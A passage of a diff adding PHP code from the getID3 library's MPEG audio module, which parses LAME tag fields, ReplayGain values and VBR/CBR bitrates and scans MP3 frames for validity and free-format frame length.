($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10; + $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9; + $thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF; + $thisfile_mpeg_audio_lame_RGAD_track['name'] = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']); + $thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']); + $thisfile_mpeg_audio_lame_RGAD_track['gain_db'] = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']); + + if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) { + $info['replay_gain']['track']['peak'] = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude']; + } + $info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator']; + $info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db']; + } else { + unset($thisfile_mpeg_audio_lame_RGAD['track']); + } + if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) { + + $thisfile_mpeg_audio_lame_RGAD_album['raw']['name'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13; + $thisfile_mpeg_audio_lame_RGAD_album['raw']['originator'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10; + $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9; + $thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF; + $thisfile_mpeg_audio_lame_RGAD_album['name'] = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']); + $thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']); + $thisfile_mpeg_audio_lame_RGAD_album['gain_db'] = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']); + + if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) { + $info['replay_gain']['album']['peak'] = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude']; + } + $info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator']; + $info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db']; + } else { + unset($thisfile_mpeg_audio_lame_RGAD['album']); + } + if (empty($thisfile_mpeg_audio_lame_RGAD)) { + unset($thisfile_mpeg_audio_lame['RGAD']); + } + + + // byte $AF Encoding flags + ATH Type + $EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1)); + $thisfile_mpeg_audio_lame['encoding_flags']['nspsytune'] = (bool) ($EncodingFlagsATHtype & 0x10); + $thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20); + $thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'] = (bool) ($EncodingFlagsATHtype & 0x40); + $thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev'] = (bool) ($EncodingFlagsATHtype & 0x80); + $thisfile_mpeg_audio_lame['ath_type'] = $EncodingFlagsATHtype & 0x0F; + + // byte $B0 if ABR {specified bitrate} else {minimal bitrate} + $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1)); + if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR) + $thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']; + } elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR) + // ignore + } elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate + $thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']; + } + + // bytes $B1-$B3 Encoder delays + $EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3)); + $thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12; + $thisfile_mpeg_audio_lame['end_padding'] = $EncoderDelays & 0x000FFF; + + // byte $B4 Misc + $MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1)); + $thisfile_mpeg_audio_lame_raw['noise_shaping'] = ($MiscByte & 0x03); + $thisfile_mpeg_audio_lame_raw['stereo_mode'] = ($MiscByte & 0x1C) >> 2; + $thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5; + $thisfile_mpeg_audio_lame_raw['source_sample_freq'] = ($MiscByte & 0xC0) >> 6; + $thisfile_mpeg_audio_lame['noise_shaping'] = $thisfile_mpeg_audio_lame_raw['noise_shaping']; + $thisfile_mpeg_audio_lame['stereo_mode'] = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']); + $thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality']; + $thisfile_mpeg_audio_lame['source_sample_freq'] = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']); + + // byte $B5 MP3 Gain + $thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true); + $thisfile_mpeg_audio_lame['mp3_gain_db'] = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain']; + $thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6)); + + // bytes $B6-$B7 Preset and surround info + $PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2)); + // Reserved = ($PresetSurroundBytes & 0xC000); + $thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800); + $thisfile_mpeg_audio_lame['surround_info'] = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']); + $thisfile_mpeg_audio_lame['preset_used_id'] = ($PresetSurroundBytes & 0x07FF); + $thisfile_mpeg_audio_lame['preset_used'] = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame); + if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) { + $this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org'); + } + if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) { + // this may change if 3.90.4 ever comes out + $thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3'; + } + + // bytes $B8-$BB MusicLength + $thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4)); + $ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']); + + // bytes $BC-$BD MusicCRC + $thisfile_mpeg_audio_lame['music_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2)); + + // bytes $BE-$BF CRC-16 of Info Tag + $thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2)); + + + // LAME CBR + if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { + + $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; + $thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']); + $info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate']; + //if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) { + // $thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min']; + //} + + } + + } + } + } + + } else { + + // not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header) + $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; + if ($recursivesearch) { + $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; + if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) { + $recursivesearch = false; + $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; + } + if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') { + $this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.'); + } + } + + } + + } + + if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) { + if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) { + if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) { + // ignore, audio data is broken into chunks so will always be data "missing" + } + elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) { + $this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)'); + } + else { + $this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)'); + } + } else { + if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) { + // $prenullbytefileoffset = $this->ftell(); + // $this->fseek($info['avdataend']); + // $PossibleNullByte = $this->fread(1); + // $this->fseek($prenullbytefileoffset); + // if ($PossibleNullByte === "\x00") { + $info['avdataend']--; + // $this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored'); + // } else { + // $this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)'); + // } + } else { + $this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)'); + } + } + } + + if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) { + if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) { + $framebytelength = $this->FreeFormatFrameLength($offset, true); + if ($framebytelength > 0) { + $thisfile_mpeg_audio['framelength'] = $framebytelength; + if ($thisfile_mpeg_audio['layer'] == '1') { + // BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12 + $info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12; + } else { + // Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144 + $info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144; + } + } else { + $this->error('Error calculating frame length of free-format MP3 without Xing/LAME header'); + } + } + } + + if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') { + switch ($thisfile_mpeg_audio['bitrate_mode']) { + case 'vbr': + case 'abr': + $bytes_per_frame = 1152; + if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) { + $bytes_per_frame = 384; + } elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) { + $bytes_per_frame = 576; + } + $thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0); + if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) { + $info['audio']['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; + $thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion + } + break; + } + } + + // End variable-bitrate headers + //////////////////////////////////////////////////////////////////////////////////// + + if ($recursivesearch) { + + if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) { + return false; + } + if (!empty($this->getid3->info['mp3_validity_check_bitrates']) && !empty($thisfile_mpeg_audio['bitrate_mode']) && ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') && !empty($thisfile_mpeg_audio['VBR_bitrate'])) { + // https://github.com/JamesHeinrich/getID3/issues/287 + if (count(array_keys($this->getid3->info['mp3_validity_check_bitrates'])) == 1) { + list($cbr_bitrate_in_short_scan) = array_keys($this->getid3->info['mp3_validity_check_bitrates']); + $deviation_cbr_from_header_bitrate = abs($thisfile_mpeg_audio['VBR_bitrate'] - $cbr_bitrate_in_short_scan) / $cbr_bitrate_in_short_scan; + if ($deviation_cbr_from_header_bitrate < 0.01) { + // VBR header bitrate may differ slightly from true bitrate of frames, perhaps accounting for overhead of VBR header frame itself? + // If measured CBR bitrate is within 1% of specified bitrate in VBR header then assume that file is truly CBR + $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; + //$this->warning('VBR header ignored, assuming CBR '.round($cbr_bitrate_in_short_scan / 1000).'kbps based on scan of '.$this->mp3_valid_check_frames.' frames'); + } + } + } + if (isset($this->getid3->info['mp3_validity_check_bitrates'])) { + unset($this->getid3->info['mp3_validity_check_bitrates']); + } + + } + + + //if (false) { + // // experimental side info parsing section - not returning anything useful yet + // + // $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData); + // $SideInfoOffset = 0; + // + // if ($thisfile_mpeg_audio['version'] == '1') { + // if ($thisfile_mpeg_audio['channelmode'] == 'mono') { + // // MPEG-1 (mono) + // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9); + // $SideInfoOffset += 9; + // $SideInfoOffset += 5; + // } else { + // // MPEG-1 (stereo, joint-stereo, dual-channel) + // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9); + // $SideInfoOffset += 9; + // $SideInfoOffset += 3; + // } + // } else { // 2 or 2.5 + // if ($thisfile_mpeg_audio['channelmode'] == 'mono') { + // // MPEG-2, MPEG-2.5 (mono) + // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8); + // $SideInfoOffset += 8; + // $SideInfoOffset += 1; + // } else { + // // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel) + // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8); + // $SideInfoOffset += 8; + // $SideInfoOffset += 2; + // } + // } + // + // if ($thisfile_mpeg_audio['version'] == '1') { + // for ($channel = 0; $channel < $info['audio']['channels']; $channel++) { + // for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) { + // $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1); + // $SideInfoOffset += 2; + // } + // } + // } + // for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) { + // for ($channel = 0; $channel < $info['audio']['channels']; $channel++) { + // $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12); + // $SideInfoOffset += 12; + // $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9); + // $SideInfoOffset += 9; + // $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8); + // $SideInfoOffset += 8; + // if ($thisfile_mpeg_audio['version'] == '1') { + // $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4); + // $SideInfoOffset += 4; + // } else { + // $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9); + // $SideInfoOffset += 9; + // } + // $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); + // $SideInfoOffset += 1; + // + // if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') { + // + // $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2); + // $SideInfoOffset += 2; + // $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); + // $SideInfoOffset += 1; + // + // for ($region = 0; $region < 2; $region++) { + // $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5); + // $SideInfoOffset += 5; + // } + // $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0; + // + // for ($window = 0; $window < 3; $window++) { + // $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3); + // $SideInfoOffset += 3; + // } + // + // } else { + // + // for ($region = 0; $region < 3; $region++) { + // $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5); + // $SideInfoOffset += 5; + // } + // + // $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4); + // $SideInfoOffset += 4; + // $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3); + // $SideInfoOffset += 3; + // $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0; + // } + // + // if ($thisfile_mpeg_audio['version'] == '1') { + // $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); + // $SideInfoOffset += 1; + // } + // $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); + // $SideInfoOffset += 1; + // $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); + // $SideInfoOffset += 1; + // } + // } + //} + + return true; + } + + /** + * @param int $offset + * @param int $nextframetestoffset + * @param bool $ScanAsCBR + * + * @return bool + */ + public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) { + $info = &$this->getid3->info; + $firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']); + $this->decodeMPEGaudioHeader($offset, $firstframetestarray, false); + + $info['mp3_validity_check_bitrates'] = array(); + for ($i = 0; $i < $this->mp3_valid_check_frames; $i++) { + // check next (default: 50) frames for validity, to make sure we haven't run across a false synch + if (($nextframetestoffset + 4) >= $info['avdataend']) { + // end of file + return true; + } + + $nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']); + if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) { + getid3_lib::safe_inc($info['mp3_validity_check_bitrates'][$nextframetestarray['mpeg']['audio']['bitrate']]); + if ($ScanAsCBR) { + // force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header + if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) { + return false; + } + } + + + // next frame is OK, get ready to check the one after that + if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) { + $nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength']; + } else { + $this->error('Frame at offset ('.$offset.') is has an invalid frame length.'); + return false; + } + + } elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) { + + // it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK + return true; + + } else { + + // next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence + $this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.'); + + return false; + } + } + return true; + } + + /** + * @param int $offset + * @param bool $deepscan + * + * @return int|false + */ + public function FreeFormatFrameLength($offset, $deepscan=false) { + $info = &$this->getid3->info; + + $this->fseek($offset); + $MPEGaudioData = $this->fread(32768); + + $SyncPattern1 = substr($MPEGaudioData, 0, 4); + // may be different pattern due to padding + $SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) | 0x02).$SyncPattern1[3]; + if ($SyncPattern2 === $SyncPattern1) { + $SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) & 0xFD).$SyncPattern1[3]; + } + + $framelength = false; + $framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4); + $framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4); + if ($framelength1 > 4) { + $framelength = $framelength1; + } + if (($framelength2 > 4) && ($framelength2 < $framelength1)) { + $framelength = $framelength2; + } + if (!$framelength) { + + // LAME 3.88 has a different value for modeextension on the first frame vs the rest + $framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4); + $framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4); + + if ($framelength1 > 4) { + $framelength = $framelength1; + } + if (($framelength2 > 4) && ($framelength2 < $framelength1)) { + $framelength = $framelength2; + } + if (!$framelength) { + $this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset); + return false; + } else { + $this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)'); + $info['audio']['codec'] = 'LAME'; + $info['audio']['encoder'] = 'LAME3.88'; + $SyncPattern1 = substr($SyncPattern1, 0, 3); + $SyncPattern2 = substr($SyncPattern2, 0, 3); + } + } + + if ($deepscan) { + + $ActualFrameLengthValues = array(); + $nextoffset = $offset + $framelength; + while ($nextoffset < ($info['avdataend'] - 6)) { + $this->fseek($nextoffset - 1); + $NextSyncPattern = $this->fread(6); + if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) { + // good - found where expected + $ActualFrameLengthValues[] = $framelength; + } elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) { + // ok - found one byte earlier than expected (last frame wasn't padded, first frame was) + $ActualFrameLengthValues[] = ($framelength - 1); + $nextoffset--; + } elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) { + // ok - found one byte later than expected (last frame was padded, first frame wasn't) + $ActualFrameLengthValues[] = ($framelength + 1); + $nextoffset++; + } else { + $this->error('Did not find expected free-format sync pattern at offset '.$nextoffset); + return false; + } + $nextoffset += $framelength; + } + if (count($ActualFrameLengthValues) > 0) { + $framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues))); + } + } + return $framelength; + } + + /** + * @return bool + */ + public function getOnlyMPEGaudioInfoBruteForce() { + $MPEGaudioHeaderDecodeCache = array(); + $MPEGaudioHeaderValidCache = array(); + $MPEGaudioHeaderLengthCache = array(); + $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); + $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); + $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); + $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); + $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); + $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); + $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); + $LongMPEGversionLookup = array(); + $LongMPEGlayerLookup = array(); + $LongMPEGbitrateLookup = array(); + $LongMPEGpaddingLookup = array(); + $LongMPEGfrequencyLookup = array(); + $Distribution = array(); + $Distribution['bitrate'] = array(); + $Distribution['frequency'] = array(); + $Distribution['layer'] = array(); + $Distribution['version'] = array(); + $Distribution['padding'] = array(); + + $info = &$this->getid3->info; + $this->fseek($info['avdataoffset']); + + $max_frames_scan = 5000; + $frames_scanned = 0; + + $previousvalidframe = $info['avdataoffset']; + while ($this->ftell() < $info['avdataend']) { + set_time_limit(30); + $head4 = $this->fread(4); + if (strlen($head4) < 4) { + break; + } + if ($head4[0] != "\xFF") { + for ($i = 1; $i < 4; $i++) { + if ($head4[$i] == "\xFF") { + $this->fseek($i - 4, SEEK_CUR); + continue 2; + } + } + continue; + } + if (!isset($MPEGaudioHeaderDecodeCache[$head4])) { + $MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4); + } + if (!isset($MPEGaudioHeaderValidCache[$head4])) { + $MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false); + } + if ($MPEGaudioHeaderValidCache[$head4]) { + + if (!isset($MPEGaudioHeaderLengthCache[$head4])) { + $LongMPEGversionLookup[$head4] = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']]; + $LongMPEGlayerLookup[$head4] = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']]; + $LongMPEGbitrateLookup[$head4] = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']]; + $LongMPEGpaddingLookup[$head4] = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding']; + $LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']]; + $MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength( + $LongMPEGbitrateLookup[$head4], + $LongMPEGversionLookup[$head4], + $LongMPEGlayerLookup[$head4], + $LongMPEGpaddingLookup[$head4], + $LongMPEGfrequencyLookup[$head4]); + } + if ($MPEGaudioHeaderLengthCache[$head4] > 4) { + $WhereWeWere = $this->ftell(); + $this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR); + $next4 = $this->fread(4); + if ($next4[0] == "\xFF") { + if (!isset($MPEGaudioHeaderDecodeCache[$next4])) { + $MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4); + } + if (!isset($MPEGaudioHeaderValidCache[$next4])) { + $MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false); + } + if ($MPEGaudioHeaderValidCache[$next4]) { + $this->fseek(-4, SEEK_CUR); + + $Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] = isset($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]) ? ++$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] : 1; + $Distribution['layer'][$LongMPEGlayerLookup[$head4]] = isset($Distribution['layer'][$LongMPEGlayerLookup[$head4]]) ? ++$Distribution['layer'][$LongMPEGlayerLookup[$head4]] : 1; + $Distribution['version'][$LongMPEGversionLookup[$head4]] = isset($Distribution['version'][$LongMPEGversionLookup[$head4]]) ? ++$Distribution['version'][$LongMPEGversionLookup[$head4]] : 1; + $Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] = isset($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]) ? ++$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] : 1; + $Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] = isset($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]) ? ++$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] : 1; + if (++$frames_scanned >= $max_frames_scan) { + $pct_data_scanned = ($this->ftell() - $info['avdataoffset']) / ($info['avdataend'] - $info['avdataoffset']); + $this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, 